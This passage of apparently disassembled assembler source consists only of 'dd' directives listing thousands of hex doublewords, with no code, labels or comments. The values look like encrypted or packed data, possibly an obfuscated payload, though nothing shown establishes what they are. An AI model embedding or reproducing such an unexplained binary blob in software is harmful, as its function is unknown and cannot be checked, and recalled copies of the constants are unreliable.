7D05C339h, 0EF7A8B58h, 0FACB7A41h, 170EF41h dd 9A48B7D3h, 6827DA3Eh, 4D85C28h, 0AEFB11E9h, 1807445Ch dd 78B2423Ch, 0BCE657F6h, 0B0738305h, 7DC45E4Ch, 9FCEC307h dd 406254A2h, 27F3DD9Ch, 6726E5Ch, 757FED0Bh, 45D982CAh dd 274E7101h, 0DA89D74Ah, 89CEC107h, 1110368Bh, 93CD44E9h dd 802B30F7h, 0D4312FEFh, 2B786360h, 34290373h, 0BF2BA0E9h dd 0D1ABA0C5h, 0E7E125A1h, 1105AFADh, 6FB8C0B0h, 0D81F4CC1h dd 0E2CE2070h, 25094F0Eh, 0E1EAC726h, 0FF03AFF2h, 0F32D6018h dd 54F90E2Dh, 32A42577h, 0D4B0B8E7h, 2DBE0449h, 0AEA399Dh dd 1208EF76h, 500DCD59h, 66C33183h, 0EDAB04B5h, 3C2E694h dd 0D1FBE396h, 8976FD90h, 69EDC210h, 0CDB7FE94h, 27FA40A4h dd 0E912648Eh, 4EB9190Ah, 0CF42B2DDh, 0D08CD709h, 0B8409512h dd 3064C181h, 7A586912h, 71220C4h, 0ADD343E8h, 0D1F8975Ch dd 0D29CE24Fh, 27301C1Fh, 1D295AD0h, 0CBAB2DF8h, 0BE0402B4h dd 0F5310791h, 0D8D31D74h, 10DA645Dh, 795909DAh, 9E2AAEB3h dd 6802E066h, 3443237Fh, 0E9B1E358h, 8C3A0D6Eh, 0DB090B33h dd 0E255850Fh, 92DB7CF8h, 4FD4AD28h, 9752C814h, 0AAF765BFh dd 0DA31CF49h, 600A2DE1h, 544B7FC4h, 2A2BFFCh, 6ECECBF4h dd 4D807FDh, 1C307C4Bh, 0E9F005B2h, 0C189B02Fh, 0BC03E134h dd 0A33AAFA1h, 43D3CA21h, 97E06413h, 295201BEh, 0F10943FFh dd 9499205Eh, 68E2E796h, 2C985499h, 7E56A7E8h, 0BAC0E9D0h dd 360504C2h, 0C07A5542h, 0BD707928h, 249F2BB0h, 508129F5h dd 5300EAFFh, 0F8B73FB7h, 0F3E700EEh, 5102EFC0h, 2876E1B5h dd 0F4AC595Fh, 0E9C9FE02h, 97A31579h, 0DA8904F7h, 63F475F6h dd 0CDD68592h, 5DEED544h, 4EE98FEEh, 5A3AF1F4h, 32878C5Fh dd 2D0111D3h, 5CA33BF8h, 17EF6881h, 667B3306h, 0E9520423h dd 0F26182h, 83022478h, 8C5D64C2h, 67166083h, 4A0215A6h dd 89301A3Fh, 0FF02DFE6h, 0F5090234h, 5632310Fh, 0E78A0190h dd 707BC662h, 0D0E7E881h, 0DBAA2AE9h, 5204A940h, 7653AEC1h dd 0F70027E3h, 5E3719A2h, 3341BA12h, 0DD740D8Ah, 4BDB59E9h dd 2464726h, 9C63705h, 0CF663300h, 129453Eh, 2B555908h dd 830ABA02h, 0D6E9EA74h, 909DB942h, 939134Fh, 94C5C39Ah dd 0CBA8BB18h, 8743122Ah, 415D87F3h, 6A180EE9h, 0E26B3729h dd 66518B52h, 0E9892FB5h, 0D0202452h, 0B785B5C5h, 81E040D9h dd 6A1D88E3h, 0EB051C76h, 0C203F18Eh, 0F2015E91h, 2231BFEFh dd 0B22B3E26h, 917D2D0h, 5EF3CAA8h, 2E0D645Fh, 0D6EA0F19h dd 0A5F378E9h, 38620302h, 0F640DC68h, 288612Fh, 0D4877F34h dd 0D5942802h, 2AF680EAh, 163CBB50h, 0BF535E0Ch, 0A3F78547h dd 0C70BE2B0h, 45380542h, 1D5EB667h, 0E93DF0ECh, 2BE6231h dd 65F93C65h, 3AC668A0h, 0A701A8BBh, 55116D9h, 29D2456Fh dd 6DC8EED0h, 59C82C31h, 407A13D7h, 3F840576h, 33B02A9Dh dd 80BFF82h, 0A48B93FCh, 2836F520h, 267D36A0h, 0B73A272Ch dd 667EA01h, 5CDE2CE0h, 0B5C0521Ch, 54806F8Ch, 778CC55Bh dd 8241BDEEh, 4060665Dh, 1D6CF123h, 0D4E94CDAh, 26D4F620h dd 4069912Eh, 29377D6Eh, 0F5114897h, 8448182Fh, 0A35B0C1Ch dd 0F0553F25h, 0F4B2814Ch, 0B685C00h, 7BD6354h, 779A0F95h dd 18D723F3h, 0D7DDC2FCh, 20AF6CB7h, 0E9A06E4Fh, 0C812B8C6h dd 0FA5F9109h, 6AD136CBh, 0B3C8D7B6h, 0C248295Bh, 1061059Fh dd 0CC021D2h, 668B205h, 0CBE98837h, 0CF0737D3h, 3AC3353Dh dd 2594B7B5h, 9DEBCE0Ah, 41C8B2A7h, 0B105E274h, 0DC2EE013h dd 0E62058A6h, 6A8FFC92h, 3DB2675Ch, 1F7F804h, 0EF92C5D3h dd 38125BDAh, 6500ECC1h, 0E50B5F3Fh, 0E680C9DDh, 95809AF8h dd 5317B5C4h, 0F6E8D388h, 58E70F75h, 0FA41CFFEh, 348499E9h dd 70E5C50Ch, 0B72312h, 68536689h, 316E4B03h, 2F5835Bh dd 9637243h, 0AEF2F893h, 8A925B13h, 69C58DAEh, 821C98C9h dd 8BEF78FBh, 49117E5Ah, 55F2A95Dh, 4AF5CD20h, 7576DD01h dd 3BF9EB4Eh, 0ACB8E90Dh, 15886BF7h, 8451D05Ah, 637DFB16h dd 8F4E4C34h, 25DA62DDh, 651295C1h, 5BE882B2h, 640ED40Bh dd 89CB95Ch, 2530B7B1h, 0E00BA1AFh, 0F38152E6h, 9CD7BA9h dd 6B2D452Eh, 43CABB1Dh, 34293C20h, 5197978Eh, 0BFF22934h dd 48E96363h, 0EAF824D5h, 0EF2A6A0Fh, 76DEAB19h, 51EB825Dh dd 0A2D02101h, 0DD32DC4Eh, 8284DC56h, 6768505Eh, 0EE984ED0h dd 0C9E3C94Ah, 12308AD6h, 60BF8268h, 6F11A5E2h, 2FC1564Ah dd 336007EBh, 0C7511295h, 42BB1F12h, 21354959h, 90D74857h dd 0F5415D01h, 1406CA0Bh, 5CE5C102h, 0F38E0709h, 0DA3D6403h dd 0D8E8D7CEh, 521657CAh, 91094DA1h, 0EEE4FAF4h, 520C97D7h dd 0F27B509Eh, 90AADAB5h, 18F6055Ah, 0EB4D3F65h, 0D73A70D1h dd 21A8BE00h, 3455613Dh, 6BFD980h, 7718263Eh, 5B62CF05h dd 0C2BB3089h, 4F7E4521h, 0A96DEA81h, 0C881EF6Bh, 521B437Eh dd 6CE16F01h, 75FD0804h, 88E6E934h, 7909ABA4h, 528911D3h dd 496E0E2Ch, 0F6C013FEh, 1BEF1C4Dh, 472464Ch, 0F5C2AA9Ah dd 0A428ECB1h, 0A113B95Eh, 0CA62AB0Fh, 4E5A5610h, 0FFD69B4h dd 4F5E6366h, 0FF9A51C4h, 8DA95673h, 354A54CAh, 598182CDh dd 0AF306555h, 0FDB9417Ah, 25177ACh, 0AF96F02Ch, 0C6E92D42h dd 0F1E5A59Eh, 81921EBCh, 20B60FEAh, 6B40EA52h, 0F3282559h dd 6B8B2A45h, 6C68D686h, 595BD7FEh, 0C5F84C39h, 0BE1DCE96h dd 384E2EA0h, 3706EE81h, 4618F402h, 2C5C02B2h, 0DE291F5Ah dd 995196Ch, 0A5BC7993h, 29563FBh, 5BE84B8Dh, 0B703B443h dd 0FD8851A1h, 2F5EE92h, 54B8C364h, 40F77296h, 64F680FDh dd 0FE5AFAD2h, 11E94690h, 4A299E60h, 497A1930h, 0D1F76F5Dh dd 9289D325h, 56447871h, 7279D3C2h, 33226304h, 1513BD27h dd 1BC2F20h, 0F818CCC4h, 4058A29Ch, 2748166Bh, 0B65441AAh dd 580F131Ah, 833E2046h, 0C5F99Dh, 6E1225E1h, 75DA568h dd 211081AFh, 0B220633Eh, 5E9F13B3h, 108FB8C6h, 0B90261EDh dd 0FCDC5743h, 6BDDA7C2h, 0AD305B2Eh, 0A5C15B3Ah, 310198B9h dd 1F1E73EEh, 0FE93F801h, 125896A0h, 0BD759668h, 48E9A300h dd 57188009h, 0F081151Dh, 0DED94FCEh, 16288801h, 7A285B21h dd 0B266F2A7h, 0CFAF8159h, 0C0BBA4A9h, 68EE951h, 0D362E996h dd 0F9BF0095h, 0B38C337h, 0A332FC47h, 618718E3h, 52E54317h dd 0BE2D033Ch, 5EA702DEh, 0C9EA9FB5h, 465297EEh, 0FCF9AC20h dd 69FEB057h, 178E1CFh, 0E5A19B5Ah, 0E5A70068h, 0AE73D4FCh dd 5D394E1Ah, 0FA0CF66h, 48046293h, 0EFECE96Dh, 0F08429AFh dd 0A90A0ABDh, 8DC1297Eh, 585B0820h, 504BD7FDh, 0E90FD032h dd 0D5321DA2h, 0BC7FED9h, 2796AEB3h, 0E2595A81h, 2CEFBF40h dd 0E97D133Bh, 3B79B1ABh, 95DC24B3h, 66009E71h, 63B5515Ah dd 6564B252h, 0FE560258h, 0B38C3D30h, 0ACF8BDC6h, 5BFCDAE6h dd 0CF122297h, 174EE5E7h dd 9E4D21D2h, 0D92901BBh, 0F84F3860h, 0D2310559h, 0AA420A68h dd 3074E5DDh, 26A91D5h, 0C2685AD6h, 0F05C4655h, 585549A3h dd 73AC2910h, 0B71EA19Eh, 80C7409Ah, 6964FBD8h, 65DF893Eh dd 0D79E3888h, 0BACD4BFFh, 9F201AC4h, 1E4EF4F3h, 9318AC10h dd 0BE2040F0h, 7C200556h, 52386CB0h, 966F2438h, 0AD97E924h dd 6F6C460Ah, 610602BCh, 765B2871h, 7FEE8267h, 3A50A569h dd 67A22D07h, 0D2501573h, 0F45ADE74h, 863E192Bh, 47052408h dd 3D115A07h, 0F521B50h, 9231668h, 0B90FEB14h, 479E203Ch dd 2249E9D1h, 0B95A1762h, 0A427B0Bh, 0EE550546h, 10D7CAAEh dd 3327D882h, 9963DF54h, 56CBDF56h, 0BD84D266h, 0E6680257h dd 0B751462Ch, 0D0A56FBh, 0D58BF069h, 39A7445Ah, 688BF9F7h dd 38FF6238h, 0BD565A37h, 68004BE6h, 4D0A6C7Eh, 49E94058h dd 637FFABFh, 2D34E4E0h, 8501AEDCh, 51BB3DB4h, 1D811234h dd 0D33392E2h, 7CAF0B30h, 0C2101104h, 2D056E34h, 0D864B309h dd 121D784Bh, 0C6435CC4h, 0CB045219h, 213C387Ah, 0BF5749C0h dd 4A737DD7h, 5995B8B8h, 47186069h, 0B712F042h, 610513A1h dd 0EE6B3111h, 6A827D2Fh, 0E3573510h, 8BC1C219h, 0E91F1808h dd 4409222h, 9A2A9005h, 2D6B8259h, 0C5D0785h, 0F155A6E8h dd 0AC4A6003h, 0E9CF896Ah, 8F6B1A15h, 2B257FB9h, 6431F672h dd 25BC1001h, 0F388E897h, 93781E34h, 8198D719h, 7E5D544Ah dd 41FBF1D8h, 24007EBBh, 5E29E381h, 0C5224BBDh, 7B32E4DCh dd 40F86E18h, 4C377258h, 65102874h, 0B25A00B9h, 90EA8057h dd 75CA7528h, 0BB594AC2h, 31124616h, 50EA70D1h, 342728E8h dd 3E0FA01h, 58A0E908h, 17EF2702h, 771446B0h, 7C522349h dd 515B2560h, 1CAF3D49h, 0FA01AD04h, 2DFEF612h, 0D92530D8h dd 6804E294h, 0E1E836C3h, 1F7AFC4h, 0F028D704h, 0B9699AE4h dd 426B00CDh, 0E6811F9Ch, 1E0D8F13h, 460F2440h, 94296A70h dd 0E9C30689h, 2874E57Fh, 84A08079h, 669713EBh, 6012C781h dd 3FAE19E9h, 5054C5A5h, 2F25FCC1h, 7155EDC2h, 7B35E04Eh dd 194C5207h, 49220E1Ch, 37E96502h, 0F5316FD2h, 7A426902h dd 0E3277D71h, 234FA47h, 0B402D478h, 8641FD89h, 0A058C928h dd 0E9F0DE06h, 99BC542Fh, 0CD6E02B3h, 27A82A48h, 0A9118CC5h dd 64CF61FAh, 56F50288h, 0B9B11A8h, 0EBA5EE79h, 0F7135A56h dd 16D35DE1h, 9485860h, 48A0A406h, 355B1E3Fh, 0E4B496F4h dd 4AC78006h, 0C95F5AD8h, 99820178h, 2040F605h, 0BB80B0BDh dd 0AA081242h, 60580E11h, 0B833CE84h, 0E10788Ah, 0CB80667Dh dd 0E92F6495h, 6B741F31h, 0F6CCD0E6h, 7606C2EEh, 6343F488h dd 0F579E485h, 3551F001h, 2EDC11Ch, 0E6AC6230h, 59574C7Ch dd 0FF381805h, 0E863850Eh, 1A424EE1h, 0A4523C68h, 6CE81F97h dd 4B348A5Fh, 81E402F9h, 6E081B02h, 25C5EBD0h, 731D3B14h dd 3E40E50Eh, 0D5F73A63h, 342D1C01h, 0E9211764h, 0FC2F806Eh dd 767FC628h, 270DCE05h, 4BBA6BB5h, 0F6870600h, 80CF5A0Fh dd 0C63548D8h, 8A7D174Ch, 0D1B5A42Fh, 0C288B4Fh, 0DB42455Ch dd 6269D4C1h, 510560D1h, 886B5BC1h, 4AE4DAE7h, 79AA02DBh dd 31C4C8ADh, 98527FD8h, 0DCECB525h, 5CFAD092h, 0B91A5362h dd 67FF1202h, 0F2571792h, 0C291272Bh, 0C5327DE9h, 0ED876389h dd 1D9A40C8h, 0CD09BD55h, 0DD30AC01h, 338908A2h, 8FB7B5C3h dd 671744A2h, 0E2401BD6h, 82208525h, 9CC9728h, 2323AAC1h dd 0DD837DC5h, 5BABEDABh, 42F21250h, 2F5899A9h, 1F0B2890h dd 844A6050h, 7E133C78h, 0ABBF9598h, 89482EBh, 0D08903E2h dd 0F55CB9BAh, 0C9BA562Dh, 974194DFh, 5A16857Bh, 5C0CCE8h dd 4B723C25h, 7442D81h, 41391488h, 0C55E30FAh, 655817CDh dd 68C2927Ch, 147D33BFh, 1F94BDADh, 5F5BC49Fh, 45F5043Bh dd 0EF01852h, 64CEF536h, 0D9A92FEFh, 4CB9C7Ch, 0FB177E2Dh dd 3DAE0525h, 0CF292E5Fh, 0D7246326h, 0E0121C3Fh, 7FC5E2B5h dd 2A895CE9h, 0B8148AB1h, 74E027D7h, 9F5A4065h, 0B19D0770h dd 0AEE1B46h, 59CDC24Dh, 74338444h, 0B9E38903h, 0AC529048h dd 8224925Bh, 0B5D11BDh, 0DA82A754h, 8014CC38h, 0B54BC808h dd 0AF6EB555h, 10420C83h, 719C501Ch, 0A5E2B24Bh, 94EAEC40h dd 4F358024h, 300D3EEBh, 68481F12h, 13329400h, 0E34236E2h dd 2C1D5120h, 13FADA76h, 4F2EB8C9h, 5C94BE2h, 9E869CDDh dd 0E47FF218h, 513F30C2h, 29DBF15Dh, 0A4430A30h, 12901E5Ch dd 0CC1313Ah, 0D216D99Bh, 0AC52308h, 0FF291301h, 781DFA21h dd 0C70B562Eh, 13104457h, 39EF1795h, 0AB080488h, 430B56C0h dd 15F1AE4h, 80FEEC7h, 2AFC83EDh, 4BE9F03Ch, 0C022B89Fh dd 5166FAB0h, 20E390B5h, 0DAF18A83h, 0B7DB4BE2h, 21C06884h dd 626B2B97h, 0E1576148h, 2001F1CFh, 0A4CEB629h, 0F0C96193h dd 4EFFACA1h, 0A0F46625h, 3F5BB036h, 0A1DB0D74h, 81080555h dd 68EA9DB2h, 0F5688015h, 0FA2A454Dh, 0CE164F92h, 7D4C5213h dd 3DC96913h, 3A203001h, 0E53E47B9h, 2F346EA4h, 0E12E5499h dd 43D93A80h, 904E8EFCh, 0FD855BF4h, 0B10B960Fh, 0B984D3B2h dd 13B0E0A4h, 92C1216Ah, 7A2067D0h, 405E275Ah, 0E273F6ADh dd 0E18D6F31h, 0F7286106h, 0F901371Fh, 68592981h, 4B9172FFh dd 17F64225h, 39CC8DF4h, 0BF9040AAh, 0C342D196h, 10500994h dd 49F1D1B5h, 1F670904h, 308868C4h, 0DF0CCCAFh, 60D5E92Dh dd 2ED92CEFh, 108CC0FEh, 0B4B24F51h, 855998DEh, 0E4300339h dd 0FCCB7468h, 597021Bh, 7BB42A4Fh, 7B3087Fh, 9F11DA2Dh dd 0F54903D3h, 509F479Eh, 1E350373h, 39BB7D75h, 95290B26h dd 0BCE9F631h, 8A2BEB65h, 13E3D040h, 52204F39h, 0E7E7926h dd 0C1E8D121h, 1C04054Bh, 975C0CD3h, 5E9D2768h, 0A2950CE6h dd 55014E45h, 0EA2F3D66h, 631A46FEh, 0C92C7F71h, 0CABBF993h dd 60E06BDFh, 2F4A8568h, 0DA49BCA6h, 14CB6882h, 0FA66F4A2h dd 62180F0Bh, 56789F71h, 74D88845h, 0EEEF0C31h, 6A118803h dd 392D6E70h, 0CA567F8Bh, 0C4A0AC50h, 0FA311F25h, 54CC9162h dd 0EAC1C5F8h, 61AE0917h, 7CC821E0h, 26A4D0ECh, 5226A90Bh dd 558A7B42h, 0CC55B414h, 1B803ADCh, 7CFC7C64h, 0E2E3203Fh dd 9E2D3B5h, 0C1F44E5Eh, 1473A763h, 48F03110h, 6801FAD6h dd 23962781h, 0C9D4E1DAh, 5702B407h, 0D9D93892h, 84C6C269h dd 2DAF2105h, 40E9D879h, 136EAAEEh, 1BB3EDFEh, 6FB0C83Fh dd 172C6CE8h, 641E5942h, 0E92548DCh, 2B5DD647h, 16C3F63Ah dd 5F21A30Fh, 242E4DE0h, 0A858816Eh, 120E3691h, 0AAC96AC6h dd 7833E17Eh, 0EC0C6282h, 0BB640F58h, 8DE6AB4Dh, 5CCC212Dh dd 7393E92Ch, 0C20057A6h, 5834861h, 63FA4C01h, 816A0841h dd 2B9CE929h, 2D5B88ECh, 0E3042AC2h, 330DA7F3h, 2C2DE122h dd 0FB12E78h, 8059CC01h, 82F423F4h, 786DBEA0h, 4EB55743h dd 4A4CF601h, 0F744C80Ah, 2EDD748h, 699F1868h, 11485D09h dd 45301F0Dh, 7C6D0C66h, 28955B92h, 0C7D25BA2h, 0E94542FBh dd 30000E87h, 74012CC5h, 4869F686h, 58C98684h, 0F62D1CF2h dd 3196CCC0h, 3C13FD7h, 6433665Fh, 0C2825470h, 3511F7F4h dd 3214BC55h, 0E0EF2D6Ch, 9803E744h, 8959098Dh, 4F7A332h dd 2F355ADh, 1365D24h, 0C41F4B4h, 13E90131h, 42FA637Fh dd 40B9B94Dh, 0FB94C573h, 0B0A4F827h, 0A33B4F59h, 0D8551080h dd 0C0C5FE02h, 0E0FF04EDh dd 90EA880Fh, 848B5D03h, 25BE5131h, 0F0500D5h, 96CB7E21h dd 9B072004h, 0A5E904DCh, 8C67FA94h, 0E4E409A2h, 0F3732D67h dd 2012D3E5h, 0E62B90E1h, 9BF85AAh, 179E57ECh, 0C157E1CDh dd 0C7588CC3h, 0FEE811A7h, 16B3910Ah, 0E1DFF9E1h, 2B80EDFFh dd 50B95AD7h, 750C374Ah, 3C5FF931h, 0F23F13D6h, 0D5150015h dd 1452A7Fh, 0DA24D177h, 0F588C69Fh, 0BA29124Bh, 2D00918Ah dd 60EC4B48h, 5F766225h, 55E0457Ah, 62014124h, 0F00A3200h dd 5B60E972h, 4015E7CDh, 0AF5D8FFDh, 6FAC5F0Fh, 4B594F1h dd 0DD27EAADh, 6057B3E1h, 7B1FCEBCh, 5F0B1A07h, 0FA4A200Fh dd 96344F79h, 0D83A3E30h, 0C2D23D28h, 4AC76885h, 0B2008D59h dd 5FB353E5h, 0E2C33980h, 0F699EB82h, 32C352D3h, 0DD880FA4h dd 6864D9C9h, 1F7AE39Ah, 0A42330Fh, 0BE9AEFFCh, 5BEB62C5h dd 8251D549h, 7CA2F8Bh, 5314081h, 80982349h, 59895D27h dd 0A99BA4E0h, 820208D9h, 81674D1Ch, 6D7ECA7Ah, 839C7964h dd 3BF0B67Bh, 34F7F65Ah, 0F508D75Ah, 0F729A0DFh, 5768E113h dd 634DBDF8h, 0AA4AFB84h, 0F12FB98Eh, 9DEF030Bh, 1C770905h dd 482F8FEEh, 0E957B09Ah, 0B8525EE5h, 0FF7BE741h, 0A5512290h dd 58824EB6h, 77704349h, 0BFE615C0h, 0C546B16h, 772902EAh dd 15FC5A39h, 9E2315h, 5F549CBFh, 64EF8729h, 0C44F064Dh dd 204980C6h, 2509D36h, 91889EBh, 370C3165h, 7EFD201Dh dd 0A3153A0Ch, 122EA273h, 8559AD4Ah, 6D44AB6Bh, 9D1CF3C4h dd 0A556D532h, 8CBE6631h, 3507h, 2A21548Ah, 0D998334Bh dd 5E0CA1F7h, 46DF6682h, 585A1828h, 2E5F0881h, 0E91372F6h dd 0BE17C492h, 226625CEh, 0F5FC8F5Eh, 34EBC1Eh, 0EA65314h dd 609E2C72h, 5B6158BBh, 0F331373Dh, 0DA223082h, 0E91392F5h dd 0AF41651Fh, 72C980C1h, 0F6D0077Fh, 0FDA3F4D9h, 0BB0F7872h dd 64052B5Bh, 0DDEFDBE8h, 0C76BECD8h, 0CDF22DC0h, 0B01D6E01h dd 94B16E3h, 160BFBD5h, 0A885D508h, 0F63290D2h, 883A50D1h dd 5ED8BAC8h, 44899182h, 7487FE67h, 43DB37CBh, 0C40930B8h dd 0DA5A89C8h, 46C486E9h, 891077h, 282BEA81h, 95291EE2h dd 7AB2B5DCh, 0B25964BAh, 496E2061h, 8782E98h, 0F018595Bh dd 0B5D69154h, 519F7CB6h, 0FD510C85h, 0C897D6B5h, 24503C4Bh dd 9D591E3Bh, 549AE0C5h, 0B30F5364h, 439203EEh, 23AFEBD0h dd 3A9C09Eh, 16BA78F6h, 0A81E08ADh, 0B1518B39h, 7AD041Dh dd 0D09FF413h, 282D2E7Ah, 0D09FC359h, 241865EDh, 20D7983h dd 77F33B8Ah, 0D7A28155h, 706E6701h, 0F262E9D4h, 0F66D48BDh dd 5008C0DEh, 102C8EB0h, 2E0C01Ch, 405E8C3h, 34E690B2h dd 0C608009Dh, 0A1F68058h, 0E7B248E9h, 0E6DBD9A0h, 293EB0F8h dd 9D0196F2h, 44F0EA3h, 94DFB7Eh, 55A12956h, 0C037B990h dd 39EB4BC0h, 0F643453Dh, 40C9AAE1h, 24030421h, 271918DAh dd 7BB5DC70h, 472F3EEBh, 0C39EE3FCh, 3028EAA4h, 0FE5BD269h dd 0B1671294h, 976E26E1h, 9BC5A7E2h, 0DC1889A2h, 400F493Ch dd 0C9CB89ACh, 5DF36222h, 7F9487ECh, 0B6B41E2h, 580740D8h dd 0D3F75F52h, 681FE28Bh, 3454A445h, 801A1163h, 4250051Dh dd 435035F1h, 6D624E56h, 0D59671F1h, 3BEE2BA0h, 22491F2Dh dd 0E0EF2540h, 0B0CD3176h, 315B5EACh, 488666Bh, 0BAB901C4h dd 0EF39277Bh, 681F9A51h, 0A4B273AFh, 0AC6FE502h, 2FE0D223h dd 0DB3F1203h, 0AFE6D10Fh, 40680066h, 7339C40Ch, 0B70397B7h dd 42B8D28Ah, 0C10C1CE7h, 0F53CAEEEh, 17E04302h, 6948AFBCh dd 417B3CDEh, 620E4E3Ch, 59CCEC30h, 0C19DD40Eh, 87EFF564h dd 1BE964CFh, 5D2516ACh, 6CB9658h, 0BC137E03h, 72602C09h dd 76C84DD8h, 17A82CD9h, 0BF70AE5Ah, 42BC70A7h, 0F408414Dh dd 39D7F3F2h, 0DC193AF8h, 0E2C51156h, 0F6E5D040h, 92D2627h dd 843155ADh, 240C02D9h, 0CC3D043Ch, 0A155A812h, 0C304D755h dd 20EB6C01h, 0E4FCD7FCh, 86DA036h, 80E2EA4Fh, 80CAFE80h dd 12F231F2h, 2CD0281Dh, 0E9515A02h, 504C97Ah, 59E5E46Eh dd 1281681Bh, 0B4908C77h, 270692B8h, 3D500E57h, 45D95197h dd 5064D3E4h, 6A4EEAB1h, 4A7F44F3h, 28BFC39Eh, 0D38A9E27h dd 0EF56B53Fh, 17AFCFC8h, 0E027E101h, 7F983E3h, 0D8C5EB05h dd 0F72B52F1h, 0A6257D48h, 5A1B777Fh, 79D0D8D2h, 24EBC124h dd 0BD78C30Ch, 0AE42D68h, 0AFC6F356h, 0EFC60483h, 0C04CF7B4h dd 76685E71h, 0FD534962h, 6FC7F4F5h, 55D02929h, 16160BDh dd 0BF5725DAh, 5CAFD856h, 9288873h, 7D2D5E00h, 0F674970Eh dd 4F6D6744h, 8F0C7EE1h, 52BD5F0Eh, 0C5EA05C0h, 0EF647009h dd 0C43E9539h, 0E779EA96h, 0D72B5525h, 5436E50Bh, 1771277Bh dd 601B8525h, 0FB21E952h, 5EF59BC4h, 45741687h, 554911F2h dd 5A41AF4Ah, 6C3F1930h, 0B855282h, 0A58F062Bh, 29FE5942h dd 0CEB7A075h, 58040C14h, 0DE28A519h, 0E90A09A3h, 65CEBA7Dh dd 0E99ECDF6h, 0D189BD17h, 0B095E82Bh, 0B4D1E3E9h, 267CE90Ah dd 40339AAFh, 19795246h, 865E4E75h, 0ECCBE5EAh, 0BC02B951h dd 3126BE11h, 0FDDA55CEh, 0BBE9D709h, 2AC11047h, 0A2186264h dd 0B30FFEE5h, 4532AED1h, 81FD652Ah, 265D6E8h, 0EF51E364h dd 32906831h, 4A2516F5h, 0DBC0807Bh, 4C4B4751h, 770E1CB8h dd 0E2C01074h, 1BF12DCFh, 0E80BC3B8h, 8E63C41Dh, 14D24CBAh dd 0B13A4ADBh, 0D6CF2403h, 44EC1005h, 6140558h, 0D9BBB020h dd 25910D02h, 78E1FAE9h, 0F70DD87Ch, 0BD877BD0h, 0F5003DC7h dd 6AA46C46h, 263DB931h, 26711E8h, 0A57835F6h, 0C523E109h dd 0F48E0738h, 0BF3BBE00h, 5B5164E8h, 6EB47ABBh, 17CCEE13h dd 0EC574F3Ah, 4EFED13Ch, 5DACEBEDh, 87D5F70Ch, 130460EFh dd 0AC0C9584h, 0E69017D7h, 0F3C013E8h, 437C2D74h, 65972FB8h dd 96E984E9h, 0CE84C8A2h, 6A026717h, 8BDE6504h, 0C2215B02h dd 1FC13C3h, 4BB8504Eh, 0F86606C0h, 28A64987h, 8D064748h dd 66508E41h, 4EFDCB0Fh, 0D6AC73DCh, 1C0A2203h, 3627F309h dd 88A35101h, 9C2451BDh, 0F0A86003h, 7492DA27h, 0EB9A3A0Ch dd 69558F43h, 0F4537A7Fh, 0CBD95E54h, 0B84A10CAh, 0E4F76613h dd 0A564BDBAh, 0E1BBEB6Bh, 97E6335Dh, 19362CBBh, 0EA812296h dd 7AA70225h, 5D21E521h, 160C0806h, 0FB863CF6h, 785B405h dd 4A7431FEh, 0C2A304BAh, 5B9D277Bh, 2A0462Ah, 17F32ACBh dd 0DCFCB86h, 0E42D5C9Eh, 4FE9161Fh, 0EF0C43E1h, 0A9ED105h dd 0A9D10450h, 0CEF9553Fh, 0EE0005B9h, 679C3D68h, 85C5B6E9h dd 13E53059h, 0A77464EDh, 9177CB9h, 0CD891BFCh, 12980652h dd 20925C25h, 75B0099Fh, 0AD31E9ADh, 5191E47Bh, 53300713h dd 4C26408h, 0EE083A68h, 7E3B3A37h, 7A84613Ah, 1F881151h dd 534CE016h, 0F2D0565h, 62C05CAAh, 4A1CF4E5h, 0BA650520h dd 0D6C0BC78h, 0C5C49904h, 8494F816h, 400042CEh, 0BE5F1B05h dd 0D0842969h, 0EA803DE8h, 16D895F0h, 505C519Dh, 0CD5CFE5Ch dd 9ADE2014h, 4B8FF071h, 1047E3D8h, 5E274425h, 9AC859C3h dd 1F989118h, 553DBD69h, 86637C8h, 0A865B5h, 0DE6FF9F3h dd 8939527Ch, 0C4D625DAh, 0D00101C7h, 0E02D7A05h, 0C7C4D628h dd 0EA2799BAh, 3162A249h, 0A0897352h, 1FCB0BE2h, 71004154h dd 21658BDh, 0E90CE92Dh, 532FC2BFh, 0EAD11010h, 0EBE2D04Fh dd 0D9B8D4E5h, 4DFAD9FAh, 0C21B6960h, 0A160066Dh, 362CADB3h dd 0E1F5BC5Ah, 0EE3880DBh dd 0A2B4E187h, 0CCA2988Eh, 785703EEh, 66E32F26h, 9B60CD2h dd 2D1F4A16h, 3F5D3B4Eh, 1073980Bh, 7DCB6Bh, 0E6811403h dd 70F02B9Eh, 3EE5E2C0h, 5C87F72Ah, 869CADEh, 6563C1h dd 2D3006B5h, 0E48F58C5h, 4D20C7A9h, 80DAB652h, 0E53C63Fh dd 0D4FE06E6h, 0AD807B88h, 4E042F68h, 2BCA0C19h, 5881A4A8h dd 3F2F0D68h, 2FAF929h, 7309F069h, 14F42998h, 0CF81C934h dd 60EB7D9Ah, 0F0B7D767h, 0C4D9099Ah, 0DCF0F377h, 84F17EE3h dd 225EA76Ah, 4146252Ch, 0F6789A92h, 0E9FAD99Dh, 5C5F8216h dd 177BC7CBh, 863A8ACh, 0BA82CA1Bh, 77BC4C1Bh, 48FD7AE0h dd 3DA8409Eh, 62CCC7Ah, 140277DEh, 0D76A6E3Dh, 8059FCAh dd 0ECCFBB5Eh, 50BE909h, 894F9759h, 66BD6030h, 0B2AF4F0Fh dd 40CB107Ch, 34010405h, 6EE0BD1h, 4E1D4130h, 2BFEEBEh dd 7439680Eh, 0D3AE6B47h, 9F57C8E7h, 0BF609508h, 14E18915h dd 7D70CBEAh, 0F768FA0Bh, 12B2756Eh, 0ABD6C80h, 811D4D5Dh dd 0E217D3CDh, 0CF58F00h, 0BF279B4Fh, 8785BDE2h, 5EA6F390h dd 7209CE85h, 13817F99h, 2DB3E2E9h, 82622D59h, 5F5E54CBh dd 0CEBACA3Eh, 835F200h, 0A3E91139h, 972C96C0h, 8100B951h dd 0C2B4846h, 82FCF07Ah, 878DCD5Fh, 15CACB7Ch, 165DA5B6h dd 51E927AFh, 385F0161h, 1634881Ch, 0F91C9308h, 687D55BAh dd 12568E4Ah, 0B15A27C6h, 35F22B24h, 41A2F4Ah, 53386806h dd 0AFA6C91Dh, 4188F0F6h, 16C1A7C9h, 4CD82AB6h, 432607F0h dd 1CC1E961h, 0EA72312Ah, 0A008D568h, 0F07C0602h, 89C9FD32h dd 6C57E8C2h, 72E98209h, 0E85ED69Bh, 3F830992h, 6159C75h dd 771B5BDh, 8792B641h, 5A3CFD90h, 0CBAA9846h, 8B02C439h dd 0F886B61Fh, 0C4F0A2D2h, 0C1810349h, 6DAA6340h, 359F0C05h dd 